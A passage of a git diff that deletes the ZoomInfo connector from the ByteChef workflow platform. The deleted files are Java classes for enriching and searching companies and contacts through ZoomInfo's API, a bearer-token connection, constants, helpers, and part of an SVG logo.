-                .required(false))
-        .output()
-        .perform(ZoominfoEnrichCompanyAction::perform);
-
-    private ZoominfoEnrichCompanyAction() {
-    }
-
-    public static Object perform(Parameters inputParameters, Parameters connectionParameters, Context context) {
-        Map<String, Object> matchCompanyInput = ZoominfoUtils.createPropertyMap(
-            inputParameters, COMPANY_ID, COMPANY_NAME, COMPANY_WEBSITE, COMPANY_PHONE, COMPANY_STREET, COMPANY_CITY,
-            COMPANY_STATE, COMPANY_ZIPCODE, COMPANY_COUNTRY);
-
-        matchCompanyInput.put(COMPANY_ID, inputParameters.getRequiredInteger(COMPANY_ID));
-
-        Map<String, Object> attributesMap = new HashMap<>();
-
-        attributesMap.put("matchCompanyInput", matchCompanyInput);
-        checkIfNull(attributesMap, OUTPUT_FIELDS, inputParameters.getList(OUTPUT_FIELDS));
-
-        return context.http(http -> http.post("/companies/enrich"))
-            .body(
-                Body.of(
-                    "data", new Object[] {
-                        "type", "CompanyEnrich",
-                        "attributes", attributesMap
-                    }))
-            .configuration(responseType(ResponseType.JSON))
-            .execute()
-            .getBody();
-    }
-}
diff --git a/server/libs/modules/components/zoominfo/src/main/java/com/bytechef/component/zoominfo/action/ZoominfoEnrichContactAction.java b/server/libs/modules/components/zoominfo/src/main/java/com/bytechef/component/zoominfo/action/ZoominfoEnrichContactAction.java
deleted file mode 100644
index ded559f97f7..00000000000
--- a/server/libs/modules/components/zoominfo/src/main/java/com/bytechef/component/zoominfo/action/ZoominfoEnrichContactAction.java
+++ /dev/null
@@ -1,131 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.zoominfo.action;
-
-import static com.bytechef.component.definition.ComponentDsl.action;
-import static com.bytechef.component.definition.ComponentDsl.array;
-import static com.bytechef.component.definition.ComponentDsl.integer;
-import static com.bytechef.component.definition.ComponentDsl.string;
-import static com.bytechef.component.definition.Context.Http.responseType;
-import static com.bytechef.component.zoominfo.constant.ZoominfoConstants.COMPANY_ID;
-import static com.bytechef.component.zoominfo.constant.ZoominfoConstants.COMPANY_NAME;
-import static com.bytechef.component.zoominfo.constant.ZoominfoConstants.EMAIL;
-import static com.bytechef.component.zoominfo.constant.ZoominfoConstants.EXTERNAL_URL;
-import static com.bytechef.component.zoominfo.constant.ZoominfoConstants.FIRST_NAME;
-import static com.bytechef.component.zoominfo.constant.ZoominfoConstants.FULL_NAME;
-import static com.bytechef.component.zoominfo.constant.ZoominfoConstants.JOB_TITLE;
-import static com.bytechef.component.zoominfo.constant.ZoominfoConstants.LAST_NAME;
-import static com.bytechef.component.zoominfo.constant.ZoominfoConstants.OUTPUT_FIELDS;
-import static com.bytechef.component.zoominfo.constant.ZoominfoConstants.PERSON_ID;
-import static com.bytechef.component.zoominfo.constant.ZoominfoConstants.PHONE;
-import static com.bytechef.component.zoominfo.util.ZoominfoUtils.checkIfNull;
-
-import com.bytechef.component.definition.ActionDefinition.OptionsFunction;
-import com.bytechef.component.definition.ComponentDsl.ModifiableActionDefinition;
-import com.bytechef.component.definition.Context;
-import com.bytechef.component.definition.Context.Http.Body;
-import com.bytechef.component.definition.Context.Http.ResponseType;
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.zoominfo.util.ZoominfoUtils;
-import java.util.HashMap;
-import java.util.Map;
-
-/**
- * @author Marija Horvat
- */
-public class ZoominfoEnrichContactAction {
-
-    public static final ModifiableActionDefinition ACTION_DEFINITION = action("enrichContact")
-        .title("Enrich Contact")
-        .description("Enrich contact details.")
-        .properties(
-            integer(PERSON_ID)
-                .label("Person ID")
-                .description("Unique ZoomInfo identifier for the contact.")
-                .required(true),
-            string(FULL_NAME)
-                .label("Full Name")
-                .description("Contact full name.")
-                .required(false),
-            string(FIRST_NAME)
-                .label("First Name")
-                .description("Contact first name.")
-                .required(false),
-            string(LAST_NAME)
-                .label("Last Name")
-                .description("Contact last name.")
-                .required(false),
-            string(EMAIL)
-                .label("Email")
-                .description("Business or Personal email address for the contact in example@example.com format.")
-                .required(false),
-            string(PHONE)
-                .label("Phone")
-                .description("Contact direct or mobile phone number.")
-                .required(false),
-            string(JOB_TITLE)
-                .label("Job Title")
-                .description("Contact title at current place of employment.")
-                .required(false),
-            string(EXTERNAL_URL)
-                .label("External URL")
-                .description("Social media URLs for the contact (e.g., Facebook, Twitter, LinkedIn).")
-                .required(false),
-            integer(COMPANY_ID)
-                .label("Company ID")
-                .description("Unique ZoomInfo identifier for the company.")
-                .required(false),
-            string(COMPANY_NAME)
-                .label("Company Name")
-                .description("Name of the company for for which the contact works, or has worked.")
-                .required(false),
-            array(OUTPUT_FIELDS)
-                .label("Output Fields")
-                .description("Fields you want to get from employee. See documentation for available fields.")
-                .items(string())
-                .options((OptionsFunction<String>) ZoominfoUtils::getContactFieldOptions)
-                .required(false))
-        .output()
-        .perform(ZoominfoEnrichContactAction::perform);
-
-    private ZoominfoEnrichContactAction() {
-    }
-
-    public static Object perform(Parameters inputParameters, Parameters connectionParameters, Context context) {
-        Map<String, Object> matchPersonInput = ZoominfoUtils.createPropertyMap(inputParameters, FULL_NAME,
-            FIRST_NAME, LAST_NAME, EMAIL, PHONE, JOB_TITLE, EXTERNAL_URL, COMPANY_NAME);
-
-        checkIfNull(matchPersonInput, PERSON_ID, inputParameters.getRequiredInteger(PERSON_ID));
-        checkIfNull(matchPersonInput, COMPANY_ID, inputParameters.getInteger(COMPANY_ID));
-
-        Map<String, Object> attributes = new HashMap<>();
-
-        checkIfNull(attributes, OUTPUT_FIELDS, inputParameters.getList(OUTPUT_FIELDS));
-        attributes.put("matchPersonInput", matchPersonInput);
-
-        return context.http(http -> http.post("/contacts/enrich"))
-            .body(
-                Body.of(
-                    "data", new Object[] {
-                        "type", "ContactEnrich",
-                        "attributes", attributes
-                    }))
-            .configuration(responseType(ResponseType.JSON))
-            .execute()
-            .getBody();
-    }
-}
diff --git a/server/libs/modules/components/zoominfo/src/main/java/com/bytechef/component/zoominfo/action/ZoominfoSearchCompanyAction.java b/server/libs/modules/components/zoominfo/src/main/java/com/bytechef/component/zoominfo/action/ZoominfoSearchCompanyAction.java
deleted file mode 100644
index d318f4fa4ee..00000000000
--- a/server/libs/modules/components/zoominfo/src/main/java/com/bytechef/component/zoominfo/action/ZoominfoSearchCompanyAction.java
+++ /dev/null
@@ -1,122 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.zoominfo.action;
-
-import static com.bytechef.component.definition.ComponentDsl.action;
-import static com.bytechef.component.definition.ComponentDsl.array;
-import static com.bytechef.component.definition.ComponentDsl.outputSchema;
-import static com.bytechef.component.definition.ComponentDsl.string;
-import static com.bytechef.component.definition.Context.Http.responseType;
-import static com.bytechef.component.zoominfo.constant.ZoominfoConstants.BUSINESS_MODEL;
-import static com.bytechef.component.zoominfo.constant.ZoominfoConstants.COMPANY_DESCRIPTION;
-import static com.bytechef.component.zoominfo.constant.ZoominfoConstants.COMPANY_NAME;
-import static com.bytechef.component.zoominfo.constant.ZoominfoConstants.COMPANY_OUTPUT_PROPERTY;
-import static com.bytechef.component.zoominfo.constant.ZoominfoConstants.COMPANY_TYPE;
-import static com.bytechef.component.zoominfo.constant.ZoominfoConstants.COUNTRY;
-import static com.bytechef.component.zoominfo.constant.ZoominfoConstants.PAGE_NUMBER;
-import static com.bytechef.component.zoominfo.constant.ZoominfoConstants.PAGE_SIZE;
-import static com.bytechef.component.zoominfo.util.ZoominfoUtils.createPropertyMap;
-
-import com.bytechef.component.definition.ComponentDsl.ModifiableActionDefinition;
-import com.bytechef.component.definition.Context;
-import com.bytechef.component.definition.Context.Http.Body;
-import com.bytechef.component.definition.Context.Http.ResponseType;
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.definition.TypeReference;
-import java.util.ArrayList;
-import java.util.List;
-import java.util.Map;
-
-/**
- * @author Marija Horvat
- */
-public class ZoominfoSearchCompanyAction {
-
-    public static final ModifiableActionDefinition ACTION_DEFINITION = action("searchCompany")
-        .title("Search Company")
-        .description("Search company by specific criteria.")
-        .properties(
-            string(COMPANY_NAME)
-                .label("Company Name")
-                .description("Company name.")
-                .required(false),
-            string(COMPANY_DESCRIPTION)
-                .label("Company Description")
-                .description("Text description unique to the company you want to use as search criteria.")
-                .required(false),
-            string(COMPANY_TYPE)
-                .label("Company Type")
-                .description("Company type (private, public, and so on).")
-                .required(false),
-            string(BUSINESS_MODEL)
-                .label("Business Model")
-                .description("Search using Business Model (B2C, B2B, B2G) for a company. Default is All.")
-                .required(false),
-            string(COUNTRY)
-                .label("Country")
-                .description("Country for the company's primary address.")
-                .required(false))
-        .output(
-            outputSchema(
-                array()
-                    .items(COMPANY_OUTPUT_PROPERTY)))
-        .perform(ZoominfoSearchCompanyAction::perform);
-
-    private ZoominfoSearchCompanyAction() {
-    }
-
-    public static Object perform(Parameters inputParameters, Parameters connectionParameters, Context context) {
-        List<Object> companies = new ArrayList<>();
-
-        int nextPageNumber = 1;
-        int pageSize = 25;
-        int totalResults;
-
-        do {
-            Map<String, Object> attributes =
-                createPropertyMap(inputParameters, COMPANY_NAME, COMPANY_DESCRIPTION, COMPANY_TYPE, BUSINESS_MODEL,
-                    COUNTRY);
-
-            Map<String, Object> body = context.http(http -> http.post("/companies/search"))
-                .queryParameters(PAGE_SIZE, pageSize, PAGE_NUMBER, nextPageNumber)
-                .body(
-                    Body.of(
-                        "data", new Object[] {
-                            "type", "CompanySearch",
-                            "attributes", attributes
-                        }))
-                .configuration(responseType(ResponseType.JSON))
-                .execute()
-                .getBody(new TypeReference<>() {});
-
-            if (body.get("data") instanceof List<?> list) {
-                companies.addAll(list);
-            }
-
-            if (body.get("meta") instanceof Map<?, ?> meta) {
-                totalResults = (Integer) meta.get("totalResults");
-            } else {
-                return companies;
-            }
-
-            nextPageNumber++;
-
-        } while ((nextPageNumber - 1) * pageSize < totalResults);
-
-        return companies;
-    }
-}
diff --git a/server/libs/modules/components/zoominfo/src/main/java/com/bytechef/component/zoominfo/action/ZoominfoSearchContactAction.java b/server/libs/modules/components/zoominfo/src/main/java/com/bytechef/component/zoominfo/action/ZoominfoSearchContactAction.java
deleted file mode 100644
index 1502875887e..00000000000
--- a/server/libs/modules/components/zoominfo/src/main/java/com/bytechef/component/zoominfo/action/ZoominfoSearchContactAction.java
+++ /dev/null
@@ -1,132 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.zoominfo.action;
-
-import static com.bytechef.component.definition.ComponentDsl.action;
-import static com.bytechef.component.definition.ComponentDsl.array;
-import static com.bytechef.component.definition.ComponentDsl.outputSchema;
-import static com.bytechef.component.definition.ComponentDsl.string;
-import static com.bytechef.component.definition.Context.Http.responseType;
-import static com.bytechef.component.zoominfo.constant.ZoominfoConstants.COMPANY_NAME;
-import static com.bytechef.component.zoominfo.constant.ZoominfoConstants.CONTACT_OUTPUT_PROPERTY;
-import static com.bytechef.component.zoominfo.constant.ZoominfoConstants.DEPARTMENT;
-import static com.bytechef.component.zoominfo.constant.ZoominfoConstants.EMAIL;
-import static com.bytechef.component.zoominfo.constant.ZoominfoConstants.FIRST_NAME;
-import static com.bytechef.component.zoominfo.constant.ZoominfoConstants.FULL_NAME;
-import static com.bytechef.component.zoominfo.constant.ZoominfoConstants.JOB_TITLE;
-import static com.bytechef.component.zoominfo.constant.ZoominfoConstants.LAST_NAME;
-import static com.bytechef.component.zoominfo.constant.ZoominfoConstants.PAGE_NUMBER;
-import static com.bytechef.component.zoominfo.constant.ZoominfoConstants.PAGE_SIZE;
-import static com.bytechef.component.zoominfo.util.ZoominfoUtils.createPropertyMap;
-
-import com.bytechef.component.definition.ComponentDsl.ModifiableActionDefinition;
-import com.bytechef.component.definition.Context;
-import com.bytechef.component.definition.Context.Http.Body;
-import com.bytechef.component.definition.Context.Http.ResponseType;
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.definition.TypeReference;
-import java.util.ArrayList;
-import java.util.List;
-import java.util.Map;
-
-/**
- * @author Marija Horvat
- */
-public class ZoominfoSearchContactAction {
-
-    public static final ModifiableActionDefinition ACTION_DEFINITION = action("searchContact")
-        .title("Search Contact")
-        .description("Search contact by specific criteria.")
-        .properties(
-            string(EMAIL)
-                .label("Email")
-                .description("Work email address for the contact in example@example.com format.")
-                .required(false),
-            string(FULL_NAME)
-                .label("Full Name")
-                .description("Contact full name.")
-                .required(false),
-            string(FIRST_NAME)
-                .label("First Name")
-                .description("Contact first name.")
-                .required(false),
-            string(LAST_NAME)
-                .label("Last Name")
-                .description("Contact last name.")
-                .required(false),
-            string(JOB_TITLE)
-                .label("Job Title")
-                .description("Contact title at current place of employment.")
-                .required(false),
-            string(DEPARTMENT)
-                .label("Department")
-                .description("Contact department at current place of employment.")
-                .required(false),
-            string(COMPANY_NAME)
-                .label("Company Name")
-                .description("Company name.")
-                .required(false))
-        .output(
-            outputSchema(
-                array()
-                    .items(CONTACT_OUTPUT_PROPERTY)))
-        .perform(ZoominfoSearchContactAction::perform);
-
-    private ZoominfoSearchContactAction() {
-    }
-
-    public static Object perform(Parameters inputParameters, Parameters connectionParameters, Context context) {
-        List<Object> contacts = new ArrayList<>();
-
-        int nextPageNumber = 1;
-        int pageSize = 25;
-        int totalResults;
-
-        do {
-            Map<String, Object> attributes =
-                createPropertyMap(inputParameters, EMAIL, FULL_NAME, FIRST_NAME, LAST_NAME, JOB_TITLE, DEPARTMENT,
-                    COMPANY_NAME);
-
-            Map<String, Object> body = context.http(http -> http.post("/contacts/search"))
-                .queryParameters(PAGE_SIZE, pageSize, PAGE_NUMBER, nextPageNumber)
-                .body(
-                    Body.of(
-                        "data", new Object[] {
-                            "type", "ContactSearch",
-                            "attributes", attributes
-                        }))
-                .configuration(responseType(ResponseType.JSON))
-                .execute()
-                .getBody(new TypeReference<>() {});
-
-            if (body.get("data") instanceof List<?> list) {
-                contacts.addAll(list);
-            }
-
-            if (body.get("meta") instanceof Map<?, ?> meta) {
-                totalResults = (Integer) meta.get("totalResults");
-            } else {
-                return contacts;
-            }
-
-            nextPageNumber++;
-
-        } while ((nextPageNumber - 1) * pageSize < totalResults);
-
-        return contacts;
-    }
-}
diff --git a/server/libs/modules/components/zoominfo/src/main/java/com/bytechef/component/zoominfo/connection/ZoominfoConnection.java b/server/libs/modules/components/zoominfo/src/main/java/com/bytechef/component/zoominfo/connection/ZoominfoConnection.java
deleted file mode 100644
index 7f8841ba299..00000000000
--- a/server/libs/modules/components/zoominfo/src/main/java/com/bytechef/component/zoominfo/connection/ZoominfoConnection.java
+++ /dev/null
@@ -1,52 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.zoominfo.connection;
-
-import static com.bytechef.component.definition.Authorization.TOKEN;
-import static com.bytechef.component.definition.ComponentDsl.authorization;
-import static com.bytechef.component.definition.ComponentDsl.connection;
-import static com.bytechef.component.definition.ComponentDsl.string;
-
-import com.bytechef.component.definition.Authorization.ApplyResponse;
-import com.bytechef.component.definition.Authorization.AuthorizationType;
-import com.bytechef.component.definition.ComponentDsl.ModifiableConnectionDefinition;
-import java.util.List;
-import java.util.Map;
-
-/**
- * @author Marija Horvat
- */
-public class ZoominfoConnection {
-
-    public static final ModifiableConnectionDefinition CONNECTION_DEFINITION = connection()
-        .baseUri((connectionParameters, context) -> "https://api.zoominfo.com/gtm/data/v1")
-        .authorizations(
-            authorization(AuthorizationType.BEARER_TOKEN)
-                .title("Bearer Token")
-                .properties(
-                    string(TOKEN)
-                        .label("Token")
-                        .required(true))
-                .apply((connectionParameters, context) -> ApplyResponse.ofHeaders(
-                    Map.of(
-                        "accept", List.of("application/vnd.api+json"),
-                        "authorization", List.of(connectionParameters.getString(TOKEN)),
-                        "content-type", List.of("application/vnd.api+json")))));
-
-    private ZoominfoConnection() {
-    }
-}
diff --git a/server/libs/modules/components/zoominfo/src/main/java/com/bytechef/component/zoominfo/constant/ZoominfoConstants.java b/server/libs/modules/components/zoominfo/src/main/java/com/bytechef/component/zoominfo/constant/ZoominfoConstants.java
deleted file mode 100644
index 79988514f77..00000000000
--- a/server/libs/modules/components/zoominfo/src/main/java/com/bytechef/component/zoominfo/constant/ZoominfoConstants.java
+++ /dev/null
@@ -1,167 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.zoominfo.constant;
-
-import static com.bytechef.component.definition.ComponentDsl.bool;
-import static com.bytechef.component.definition.ComponentDsl.integer;
-import static com.bytechef.component.definition.ComponentDsl.object;
-import static com.bytechef.component.definition.ComponentDsl.string;
-
-import com.bytechef.component.definition.ComponentDsl.ModifiableObjectProperty;
-
-/**
- * @author Marija Horvat
- */
-public class ZoominfoConstants {
-
-    public static final String BUSINESS_MODEL = "businessModel";
-    public static final String COMPANY_CITY = "companyCity";
-    public static final String COMPANY_COUNTRY = "companyCountry";
-    public static final String COMPANY_DESCRIPTION = "companyDescription";
-    public static final String COMPANY_ID = "companyId";
-    public static final String COMPANY_NAME = "companyName";
-    public static final String COMPANY_PHONE = "companyPhone";
-    public static final String COMPANY_STREET = "companyStreet";
-    public static final String COMPANY_STATE = "companyState";
-    public static final String COMPANY_TYPE = "companyType";
-    public static final String COMPANY_WEBSITE = "companyWebsite";
-    public static final String COMPANY_ZIPCODE = "companyZipcode";
-    public static final String COUNTRY = "country";
-    public static final String DEPARTMENT = "department";
-    public static final String EMAIL = "emailAddress";
-    public static final String EXTERNAL_URL = "externalURL";
-    public static final String FIRST_NAME = "firstName";
-    public static final String FULL_NAME = "fullName";
-    public static final String JOB_TITLE = "jobTitle";
-    public static final String LAST_NAME = "lastName";
-    public static final String OUTPUT_FIELDS = "outputFields";
-    public static final String PAGE_NUMBER = "page[number]";
-    public static final String PAGE_SIZE = "page[size]";
-    public static final String PERSON_ID = "personId";
-    public static final String PHONE = "phone";
-
-    public static final ModifiableObjectProperty COMPANY_OUTPUT_PROPERTY = object()
-        .properties(
-            string("id")
-                .description("The unique identifier for the resource."),
-            string("type")
-                .description("The type of the resource"),
-            object("attributes")
-                .description("Response attributes for company search.")
-                .properties(
-                    string("name")
-                        .description("Company Name."),
-                    string("city")
-                        .description("City of the company's primary address."),
-                    string("state")
-                        .description("State or province of the company's primary address."),
-                    string("country")
-                        .description("Country of the company's primary address."),
-                    string("revenue")
-                        .description(
-                            "Approximate yearly revenue for the company in 1000's. For example, a 100M company is expressed as 100000."),
-                    string("employeeCount")
-                        .description("Approximate number of people employed by the company."),
-                    string("website")
-                        .description("Company website URL."),
-                    string("logo")
-                        .description("The URL which can be used to retrieve the logo for the company."),
-                    object("managementStatus")
-                        .description("Management status of the record.")
-                        .properties(
-                            bool("underManagement")
-                                .description(
-                                    "Indicates whether record is under management within the contract period."),
-                            string("purchaseDate")
-                                .description("Indicates when record was purchased if it is under management."))));
-
-    public static final ModifiableObjectProperty CONTACT_OUTPUT_PROPERTY = object()
-        .properties(
-            string("id")
-                .description("The unique identifier for the resource."),
-            string("type")
-                .description("The type of the resource."),
-            object("attributes")
-                .description("Response attributes for contact search.")
-                .properties(
-                    string("firstName")
-                        .description("Contact first name."),
-                    string("middleName")
-                        .description("Contact middle name."),
-                    string("lastName")
-                        .description("Contact last name."),
-                    string("validDate")
-                        .description("Date on which the contact record was last validated."),
-                    string("lastUpdatedDate")
-                        .description("Date on which the contact record was last updated."),
-                    string("jobTitle")
-                        .description("Contact job title at current place of employment."),
-                    integer("contactAccuracyScore")
-                        .description(
-                            "This score indicates the likelihood that a contact is reachable and still employed by the company listed. Minimum score is 75 and maximum is 99."),
-                    string("managementLevel")
-                        .description("Comma-separated list of contact management levels."),
-                    string("school")
-                        .description("Get last Education information."),
-                    bool("hasEmail")
-                        .description("Indicates whether ZoomInfo has an email address for the contact."),
-                    bool("hasSupplementalEmail")
-                        .description(
-                            "Indicates whether ZoomInfo has a supplemental email address for the contact."),
-                    bool("hasDirectPhone")
-                        .description("Indicates whether ZoomInfo has a direct phone number for the contact."),
-                    bool("hasMobilePhone")
-                        .description("Indicates whether ZoomInfo has a mobile phone number for the contact."),
-                    bool("hasCompanyIndustry")
-                        .description("Indicates whether ZoomInfo has company industry for the contact."),
-                    bool("hasCompanyPhone")
-                        .description("Indicates whether ZoomInfo has a company phone number for the contact."),
-                    bool("hasCompanyStreet")
-                        .description("Indicates whether ZoomInfo has a street address for the contact."),
-                    bool("hasCompanyState")
-                        .description("Indicates whether ZoomInfo has a state for the contact."),
-                    bool("hasCompanyZipCode")
-                        .description("Indicates whether ZoomInfo has a Zip Code or Postal Code for the contact."),
-                    bool("hasCompanyCountry")
-                        .description("Indicates whether ZoomInfo has a country for the contact."),
-                    bool("hasCompanyRevenue")
-                        .description("Indicates whether ZoomInfo has company revenue data for the contact."),
-                    bool("hasCompanyEmployeeCount")
-                        .description("Indicates whether ZoomInfo has company headcount data for the contact"),
-                    bool("directPhoneDoNotCall")
-                        .description("Contact flagged with do not call for direct phone."),
-                    bool("mobilePhoneDoNotCall")
-                        .description("Contact flagged with do not call for mobile phone."),
-                    object("managementStatus")
-                        .description("Management status of the record.")
-                        .properties(
-                            bool("underManagement")
-                                .description(
-                                    "Indicates whether record is under management within the contract period."),
-                            string("purchaseDate")
-                                .description("Indicates when record was purchased if it is under management.")),
-                    object("company")
-                        .description("Contact's company data.")
-                        .properties(
-                            integer("id")
-                                .description("Unique ZoomInfo identifier for a company."),
-                            string("name")
-                                .description("Company Name."))));
-
-    private ZoominfoConstants() {
-    }
-}
diff --git a/server/libs/modules/components/zoominfo/src/main/java/com/bytechef/component/zoominfo/util/ZoominfoUtils.java b/server/libs/modules/components/zoominfo/src/main/java/com/bytechef/component/zoominfo/util/ZoominfoUtils.java
deleted file mode 100644
index 148f019dcba..00000000000
--- a/server/libs/modules/components/zoominfo/src/main/java/com/bytechef/component/zoominfo/util/ZoominfoUtils.java
+++ /dev/null
@@ -1,97 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.zoominfo.util;
-
-import static com.bytechef.component.definition.ComponentDsl.option;
-import static com.bytechef.component.definition.Context.Http.responseType;
-
-import com.bytechef.component.definition.Context;
-import com.bytechef.component.definition.Context.Http.ResponseType;
-import com.bytechef.component.definition.Option;
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.definition.TypeReference;
-import java.util.ArrayList;
-import java.util.HashMap;
-import java.util.List;
-import java.util.Map;
-
-/**
- * @author Marija Horvat
- */
-public class ZoominfoUtils {
-
-    public static void checkIfNull(Map<String, Object> body, String key, Object value) {
-        if (value != null) {
-            body.put(key, value);
-        }
-    }
-
-    public static Map<String, Object> createPropertyMap(Parameters inputParameters, String... properties) {
-        Map<String, Object> map = new HashMap<>();
-
-        for (String property : properties) {
-            checkIfNull(map, property, inputParameters.getString(property));
-        }
-
-        return map;
-    }
-
-    public static List<Option<String>> getCompanyFieldOptions(
-        Parameters inputParameters, Parameters connectionParameters, Map<String, String> lookupDependsOnPaths,
-        String searchText, Context context) {
-
-        List<Option<String>> options = new ArrayList<>();
-
-        List<Map<String, Object>> body = context
-            .http(http -> http.get("/lookup/outputfields/company/enrich"))
-            .configuration(responseType(ResponseType.JSON))
-            .execute()
-            .getBody(new TypeReference<>() {});
-
-        for (Map<String, Object> map : body) {
-            if ((boolean) map.get("accessGranted")) {
-                options.add(option((String) map.get("fieldName"), (String) map.get("fieldName")));
-            }
-        }
-
-        return options;
-    }
-
-    public static List<Option<String>> getContactFieldOptions(
-        Parameters inputParameters, Parameters connectionParameters, Map<String, String> lookupDependsOnPaths,
-        String searchText, Context context) {
-
-        List<Option<String>> options = new ArrayList<>();
-
-        List<Map<String, Object>> body = context
-            .http(http -> http.get("/lookup/outputfields/contact/enrich"))
-            .configuration(responseType(ResponseType.JSON))
-            .execute()
-            .getBody(new TypeReference<>() {});
-
-        for (Map<String, Object> map : body) {
-            if ((boolean) map.get("accessGranted")) {
-                options.add(option((String) map.get("fieldName"), (String) map.get("fieldName")));
-            }
-        }
-
-        return options;
-    }
-
-    private ZoominfoUtils() {
-    }
-}
diff --git a/server/libs/modules/components/zoominfo/src/main/resources/assets/zoominfo.svg b/server/libs/modules/components/zoominfo/src/main/resources/assets/zoominfo.svg
deleted file mode 100644
index 16be7261622..00000000000
--- a/server/libs/modules/components/zoominfo/src/main/resources/assets/zoominfo.svg
+++ /dev/null
@@ -1,129 +0,0 @@
-<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
-	 width="100%" viewBox="0 0 512 512" enable-background="new 0 0 512 512" xml:space="preserve">
-<path fill="#EA1B15" opacity="1.000000" stroke="none" 
-	d="
-M239.000000,513.000000 
-	C159.352646,513.000000 80.205292,513.000000 1.028970,513.000000 
-	C1.028970,342.394287 1.028970,171.788574 1.028970,1.091425 
-	C171.564041,1.091425 342.128143,1.091425 512.846130,1.091425 
-	C512.846130,171.666565 512.846130,342.333252 512.846130,513.000000 
-	C421.788544,513.000000 330.644257,513.000000 239.000000,513.000000 
-M359.830109,209.002014 
-	C366.161438,209.001907 372.494598,208.908630 378.823395,209.034805 
-	C382.967194,209.117401 385.026031,207.431747 385.018860,203.166306 
-	C384.980591,180.338959 384.985718,157.511490 385.014404,134.684113 
-	C385.019409,130.717575 383.187958,128.960968 379.210907,128.973984 
-	C356.384125,129.048737 333.557037,129.073822 310.730133,129.042953 
-	C306.712494,129.037521 304.952728,130.876907 304.984833,134.808838 
-	C305.037872,141.306702 304.968903,147.805511 305.007141,154.303604 
-	C305.039581,159.813583 306.209930,160.961227 311.793396,160.994202 
-	C317.679199,161.028976 323.565399,161.001999 329.451416,161.001999 
-	C329.667969,161.455475 329.884521,161.908951 330.101074,162.362442 
-	C328.903320,163.237549 327.590942,163.992050 326.524689,165.005524 
-	C304.554443,185.887924 282.621307,206.809326 260.662598,227.703873 
-	C217.589417,268.689667 174.493179,309.651276 131.483841,350.703918 
-	C130.212860,351.917053 129.164062,354.016235 129.108688,355.737579 
-	C128.857056,363.560791 129.043365,371.397034 128.980484,379.227814 
-	C128.948746,383.178802 130.740326,385.022156 134.718185,385.017639 
-	C162.877518,384.985687 191.036926,384.979492 219.196228,385.023682 
-	C223.510742,385.030457 225.109344,382.915375 225.031952,378.811920 
-	C224.915726,372.649048 225.015961,366.482330 224.998138,360.317291 
-	C224.979858,353.993744 224.032028,353.012543 217.844971,353.003479 
-	C205.348236,352.985138 192.851456,353.006622 180.354721,352.985718 
-	C178.970367,352.983398 177.586288,352.812469 175.467514,352.670532 
-	C234.824936,296.193665 293.572937,240.296616 352.998413,183.754959 
-	C352.998413,190.939026 353.081696,196.933182 352.969818,202.923691 
-	C352.891968,207.092072 354.662201,209.195480 359.830109,209.002014 
-M272.422119,131.429840 
-	C270.571899,130.619659 268.723816,129.107773 266.871155,129.102173 
-	C223.066940,128.969589 179.262192,129.024658 135.457672,128.960022 
-	C131.050797,128.953522 129.036407,130.732986 129.046432,135.172592 
-	C129.097229,157.657745 129.108932,180.143188 129.038223,202.628220 
-	C129.023315,207.368973 131.229187,209.171738 135.803223,209.041245 
-	C141.627991,208.875046 147.461105,209.008728 153.290604,208.999100 
-	C160.249619,208.987610 160.994400,208.244247 160.998718,201.256866 
